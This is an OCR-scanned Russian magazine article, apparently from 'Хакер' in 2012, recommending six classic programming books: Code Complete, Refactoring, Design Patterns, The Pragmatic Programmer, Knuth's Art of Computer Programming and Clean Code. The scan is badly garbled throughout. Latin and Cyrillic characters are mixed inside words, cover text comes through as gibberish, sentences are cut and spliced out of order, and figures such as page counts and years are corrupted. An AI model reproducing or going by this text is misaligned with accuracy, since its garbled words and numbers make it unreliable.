Макконнелл выделает Главный Технический Императив Разработки ПO-управление сложностью. Простота и ясность исходного кода и архитектуры системы определяют ее качество. Большая часть книги пOсвящена написанию высококачественного кода. Макконнелл, как никто другой, осознавая значимость мелочей, детально описывает все правила, кOтOрыми следует рукOвOдствоваться при написании хорошего кода. Необходимый уровень абстракции, разработка качественных интерфейсов классов, написание высококачественных методов, выбор ничт0 не ускользает от внимания автора. удачных имен пере[4енных Например. общим принципам использования переменных отведен целый раздел книги более чем на 100 страниц. При этом все лравила и советы даются исключительно с практической точки зрения. Макконнелл формулирует Главный Закон Качества ПО: повышение качества системы снижает расходы на ее разработку. Причина ясна большую часть времени программисты занимаются чтением и отладкой написанного кода, тогда как на собственно написание уходит около 10% рабочего времени. Поэтому поддержание качества кода системы на высOкOм урOвне экOнOмит много времени и тем самым повышает КП,Щ

09

рактически

"Рефакторинг". Причина ясна: в этой книге Фаулер сделал невозможное в предельно понятной форме донес до читателей исчерпывающее описание

неOднOкратн0 дOказала эт0, вOзглавляя рейтинги книг по программированию [gоо,gl/ЗqOkх). Благодаря простой манере изложения, особому стилю и чувству юмора Стива книга читается 0чень легко. Говоря о проектировании и конструировании программных систем,

хдКЁР

ll _

пах и 0снOвных метOдах реализации.

Мартин определяет рефакторинг как <изменение во внутренней структуре П0, имеющее целью облегчить понимание его работы и упростить модификацию, не затрагивая наблюдаемого поведения>. Но когда необходимо проводить данное изменение? Какой код должен подвергаться переработке? Автор дает подробные ответы на эти волросы. Он вводит правило (трех ударов): <После трех ударов начинайте рефакторинг>. То есть когда вы делаете что-то аналогичное в третий раз, это сигнал для начала рефакторинга. Раздел <Код с душком> дает нам четкое представление о том, какой же код требуетулучшения. К признакам такого кода относятся: длинный метод, большой класс, дублирование кода, длинный список параметров метода, временные поля и многое другое. Фаулер, как сторонник TDD {Теst-dгiчеп development), посвящает главу книги сOзданию автоматических тестов и описанию среды JUnit. Перед проведением рефакторинга следует написать тест для улучшаемого кода. чтобы обеспечить неизменность его поведения, и только пOсле этOг0 смел0 вносить изменения. Большую часть книги занимает каталог методов рефакторинга, Он сOдержит разделы, пOсвященные сOставлению методов, перемещению функций между объектами, организации данных, упрощению услOвных выражений и вызовов методов, решению задач обобщения и крупным архитектурным рефакторингам. Многие из методов рефакторинга автоматизированы в популярных lDE. Например, Visua Studio предоставляет возможности по автоматическому выделению метода lExtractlr4ethod), удалению параметра lRеmочеРагаmеtег), выделению интерфейса {Ехtгасtlпtегfасе] и др. В качестве крупных рефакторингов уровня системы Фаулер приводит следующие: разделение иерархии наследования, выполняющей более одной задачи, переход от процедурного подхода к объектно-ориентированному, отделение предметной области от уровня представления, а также выделение иерархии, подразумевающее разбиение большого класса на целую иерархию значительно меньших по размеру и более специализированных подклассов. Прочитав эту книгу, большинство программистов изменяет свой подход к написанию кода. Oни становятся более грамотными, аккуратными и внимательными к своемутворению. Книга обязательна к прочтению для всех прOграммистOв, стремящихся к совершенству в своем ремесле.


кOдинг Э. Гамма, Р. Хелм, Р. ,Щжонсон,

,Щ.

Влиссидес

((Паттерн ы проектирования>) Проектирование объектно-ориентированных

програtl1,{

-

(( П

нелеrкое дело,

а если их нужно испOльзовать повторно, т0 все становится еще слOжнее.

Томас

рогра

}i }i

Програtlмисты-праrшатики

ист-п ре гмати

к>)

не уклоняются от ответственности. Вместо 0ПЫТ.

ЭТOr0 ОНИ ИСПЫТЫВаЮТ РаДOСТЬ, ПРИНИ1.1аЯ ВЫЗOВЫ И РаСПРОСТРаНЯЯ

прагматик,>полностью оправдывает свOе название. Викисловарь говорит, что эт0 тOт, <кт0 ставит прагматик практическую пOлезнOсть, выгоду выше всего>. Программистыпрагматики 0риентируются в первую очередь на практическую

К

3,

Г!r.,

Р,

Ь.

Р.ДrовФ, Д

Вщс

прrЕrшOЕъlптlil-

ltрtЕппрOпtшш0]0

прOЕllilпlпtllш

llАпЕmы пmЕкIllршшпя экземплярOв. 0чень часто начинающий разработчик самостоятельно берется за решение 4hпiЕФрrйФ уже более тысячи раз решенной до него задачи проектирования и изобретает 0чередную разнOвиднOсть пятик0леснOг0 велOсипеда, истинн0 гOрдясь своим <новшествомr. Владение языком паттернов позволяет решить множество задач проектирования наиболее оптимальным способом, затрачивая при этом минимум усилий. Всего двадцать описанных в книге паттернов предоставляют инструментарий для решения огромного спектра задач проектирования П0. Материал книги довольно сложен и требует от читателя определенных знаний в области объектно-ориентированного проектирования. flля освоения паттернов недостаточно просто прочитать книгу, необходимо основательно над ней uпопотеть>. Впрочем, твои усилия не пройдут даром. Книга содержит З50 страниц и состоит из двух частей. В первой части дается обшее понятие паттернов проектирования, описывается их практическOе применение на примере сOздания визуальнOго редактOра документов Lexi. Вторая часть книги содержит каталог паттернов с подробным описанием назначения, структуры, особенностей реализации и примерами применения каждого паттерна. Коллектив авторов известен как Gапg of Fочг (<Банда четырехrJ, поэтому представленные в книге паттерны называют GоF. Авторы разбивают все мнOжеств0 представленных паттернOв на три группы: пOрождающие паттерны, структурные паттернь и паттерны поведения. Порождающие паттерны решают задачу инстанцирования {создание экземпляров] классов, К самым популярным паттернам в данной группе можно отнести АЬstгасtFасtогу {абстрактная фабрикаl, FactoгyMethod (фабричный метод] и singleton lодиночкаl. Структурные паттерны предназначены для решения вопросов компоновки системы на основе классов и объектов. К ним относятся такие важнейшие паттерны, как Аdарtег (адаптер}, Вгidgе (мост}, Composite (компоновщик), Ргоху (заместительl и tасаdе lфасадl. Паттерны поведения связаны с алгоритмами и вопросами распределения обязанностей между классами. Здесь необходимо упомянуть Stгategy [стратегия), TemplateMethod Iшаблонный методl, 0Ьsегчеr lнаблюдатель), Command [команда] и ltегаtог (итератор). некоторые примеры в Единственное, что может смутить читателя, книге написаны на малоизвестном на сегодняшний день языке программирования Smalltalk, а для изображения диаграмм классов вместо привычного UN4L используется 0МТ (0blect Modeling Techniquel. это лучшая из Гуру 00АиП Мартин Фаулер пишет: .Паттерны GоF когда-либо изданных книг по объектно-ориентированноl|.1у проектированию, Эiа книга чрезвычайно влиятельна в индустрии программного посмотрите на библиотеки Java и .NET, которые обеспечения -только буквально кишат паттернами GоF". Не существует специалиста в области объектно-ориентированного проектирования, незнакомого с паттернами , GоF, а если такой и есть,то в этом случае его, скорее всего, нельзя назвать специалистом.

-

-

096

,Щ.

нига.Поогоаммист-

поосите v 0пытного 0азраоотчика, какую книгу по 00ъектн 0-0 риенти рова н нOму программированию вам обязательно

С

стоит прочитать. В абсолютном большинстве случаев он пOсOветует именн0 эту. В отношении данной книги слово звучит недостаточно вы"бестселлер> разительн0, ведь с мOмента ее выпуска было продано уже более полумиллиона

Э. Хант,

успешнOсть реализуемых прOектOв Авторы на основании своего богатейшего опыта программирования создали структурированный набор практических сOветOв для прOграммистов. Небольшой размер книги 1270 страницl говорит о высокой концентрации важной для программиста информации. Практически все излагаемые в книге темы поясняются выразительными аналогиями, которые порой поражают своей точностью, В книге проводятся параллели между некачественны},{ кодом и теорией разбитого окна, столярным делом и работой программиста, вождением автомобиля и написанием кода, стрельбой трассирующими пулями и созданием прототипов П0, хождением по минному полю и программированием в расчете на стечение обстоятельств. В конце каждого раздела приводятся вопросы для обсуждения и упражнения, что лишний раз подчеркивает практическую направленность книги. 0дним из самых замечательных принципов программирования, которым мы обязаны авторам, является принцип DRY lDon't Repeat Yочгsеlf], что в переводе на русский означает:.Не повторяй самого себяu. Это подразумевает, что каждый фрагмент знания должен иметь единственное и однозначное представление в системе. Следование даннOму принципу позвOляет пOвысить надежнOсть, доступность и простоту сOпрOвOждения прOграммнOг0 прOдукта. В главе, посвященной общей философии прагматичного программирOвания, мы узнаем, каким авторы видят прOграммистапрагматика: он всегда принимает ответственнссть за свой код, следит за сOстOянием свOег0 прOдукта, пOстOянно сOвершенствуется, общается и находит компромисс с пользователями. Глава .Прагматический

подходD говорит об обших методиках

разработки

и

оценки трудоемкости проектов, Важнейшая глава.Гибкость против хрупкости> рассказывает, каким же образом необходимо создавать действительно гибкие и устойчивые к изменению системы. Из главы <Перед тем, как начать проект> можно узнать о процедуре формирования и утверждения требований к системе. .Прагматические проекты> знакOмят нас с критическими аспектами сOздания реальных проектов, такими как работа в команде, тестирование и формирование документации,

Единственное, что может подпортить впечатление о книге, так это недостаточно качественный перевод на русский язык и наличие множества опечаток. Книгу лучше всего читать в оригинале на английском языке. Нельзя не согласиться с отзывом Кента Бека: <Главное в этой книге т0, что 0на пOддерживает прOцесс сOздания программ в хорошей форме. [Книга) способствует вашему постоянному росту и явн0 написана людьми, знающими тOлк в программирOвании>. Если вы стремитесь к постоянному росту как программист, эта книга обязательна к прочтению. хлкЕр

о9 l1b1,1 2012


6 главных книг о кодинге

!. ((

Кнут

Искусство

Р. Мартин

п

ро гра

}r }i и

н

ия

исl

-

ХХ века наряду с работой Эйнштейна по теории относительности. Успех кни-

tрдвNj_il_lощпыш

цlоll1:lt}Jr:]

програм,ryrирования

анализ важнейших фундаментальных алгоритмов, используемых в информатике, а также множеств0 практических задач для усвOения и закрепления представленного материала. Журнал Аmегiсап Scientist включил работу Кнута в список двенадцати лучших

физико-математическихмонографий

клл(:сl]чг(кllil1 рчд

Искусство

называют <Библией программиста>. 0на содержит подробное олисание и

1,o!l

!

Основные алгоритмы

Трrье

издаяие

l

ДОНАЛЬД Э. КНУТ

ги 0пределил0 качеств0 изложения и

глубина анализа общих вопросов програN4мирования. Кнут начал работу над <Искусством программирования> еще в 'l962 году, По замыслу автора монография должна состоять из семи томов, Пока было издано три первых тома, а также первая половина четверто-

го. Все изданные на сегодняшний день материалы составляют почти З000 страниц. Читать книгу совсем не просто [как, впрочем, и Библию],

главным образом потому, что все примеры рассматриваются на низкоассемблере для гипотетического урOвневOм языке программирования выдуманного автором компьютера lt4lx. Поэтому у программиста вряд ли получится испOльзовать книгу в качестве набора готовых рецептов для решения конкретных задач. Эта книга дает программисту не рыбу, а скорее хOрOшую удочку, с помощью которой он сможет не без определенных

усилий самостоятельно наловить рыбы. Первый том посвящен основным алгоритмам и состоит из двух глав. Первая глава подготавливает читателя к работе над книгой, Здесь рассматриваются 0снOвные математические пOнятия и теоремы, на которых базируется весь материал. Читатель знакомится с <полиненасыщенньiм компьютером> liy'lX, его архитектуроЙ и его языком ассемблера. Вторая глава посвяlцена информационным структурам и алгоритмам работы с ними. Здесь рассматриваются деревья, многосвязные структуры, линейные списки, в тOм числе стеки, 0череди, деки, циклические и дважды связанные сп4ски и прOчее. Второй том включает в себя третью и четвертую главы. Третья глава посвящена работе со случайными числами и последовательностями. В четвертой главе описываются вопросы арифметики, а и[4енно различные виды систем счисления, арифметика чисел с плавающей точкой и рациOнальных чисел, полиномиальная арифметика и другое. Третий том посвящен алгоритмам сортировки и поиска lcooTBeTcTBeHHo, главы 5 и 6],

из четвертого тома опубликованы материальi седьмой главы, описывающей вопросы комбинаторного поиска. Исходя из планов автора, в четвертый том также войдет восьмая глава, в которой рассматриваются рекурсивные алгоритмы. Пятый том будет сOдержать материалы п0 синтаксическим алгоритмам, в том числе по

лексикографическому и синтаксическому поиску. Ожидающие издания шестой и седьмой тома будут посвящены теории языкоs и компиляторам. В своем отзыве о работе Кнута Билл Гейтс сказал: <Если BbJ считаете себя действительно хорошим программистом... прочитайте,,Искусство программирования" lKHyTa)... Если вы сможете прочесть весь этот труд, т0 вам 0пределенн0 следует отправить мне резюме>. L{итата лишний раз пOдчеркивает, чт0, несмOтря на сложнOсть материала, настояций профессионал обязательно должен осилить труд flональда Эрвина Кнута.

оя

/laal юlz

код>>

Умение писать чистый код тяlкелая работа. 0на не ограничивается знанием паттернов и принципов. Над кодоl,,l необходимо попотеть.

рOграммист, у кOтOрOг0 нет

книги <Искусство программирOвания>, как священн0служитель, у которого нет Библии. Монографию !ональда Кнута часто

хдкЁр

((Чистый

>)

-

Лучший способ в чем-то разобраться до конца это попробовать научить это}tlу ко1,1пьютер.

п

рова

tl

К

нига <<Чистый кол>r

одно из ,.r6oi'.. -удачных издании, п0-

свяценных написанию высOк0-

качественного кода. Размер книги около 400 страниц. При этом она настOльк0 увлекательна и дOступна, чт0 за два-три вечера запрOст0 прочитаешь ее 0т кOрки д0 кOрки. В дружеской манере <дядюшка>

Боб рассказывает нам, какими же принципами нужн0 рукOвOдств0ваться, чтобы писать хороший код. Книга изоби-лует примерами из реальных при_ ЛOЖеНИИ, С КOТOРЫмИ аВТOР

СТаЛ-

-сt

РобеpгМарffн

t-(

чllстыЙ

ll0дж,

Еer iл lý i

:-

!'

т

hr*оё{чимщ,? КаrYryшпьплцоirод? Почоryчrd!л

rод{айо

rпощеr?

по€!уа|Oпrсаняrодаiа(6rýы{олочв?

ry

кивался в своей практике. Среди них такие известные прOдукты, как JUnit, FitNesse, JDepend, Ant и ТоmСаl Книга разделена на три части. Первая часть теория написания <(чистOг0> кOда: приемы, паттерны и принципы, которым необходимо следовать разработч��ку. Вторая часть носит практический характер

-

и

подробно описывает сам процесс <<чистки)) кода существующих приложений. Третья часть подводит итоги всей книги и содержит перечень (запахOв кOда) и метOдOв их устранения.

В теоретической части подробно описываются принципы именования переменных, метOдOв и классов, правила создания функций, написания комментариев. форматирования кода и написания модульных тестов. Роберт дает понять, что хорошо написать код недостаточно. Необходимо поддерживать его чистоту с течением времени, чтобы предотвратить <загнивание). Поэтому он вводит <правило бойскаута>>: <<0ставь место стоянки чище, чем оно было до твоего прихода>, При создании функций во главу угла ставятся компактность, правило одной операции и одного уровня абстракции. Будучи ярым адептом TDD,

мартин указывает на важность ((чистоты>) не только кода конечного прOдукта, но и кода модульных тестов. 0н иронически замечает: <Какими 0тличительными признаками характеризуется чистый тест? Тремя:

и удобочитаемостью>. удобочитаемостью. удобочитаемостью В начале книги Роберт приводит ответы мэтров программирования на вопрос, что же такое "чистый код>, Грэди Буч отвечает: <Чистый код прост и прямолинеен. Чистый код читается, как хорошо написанная проза>.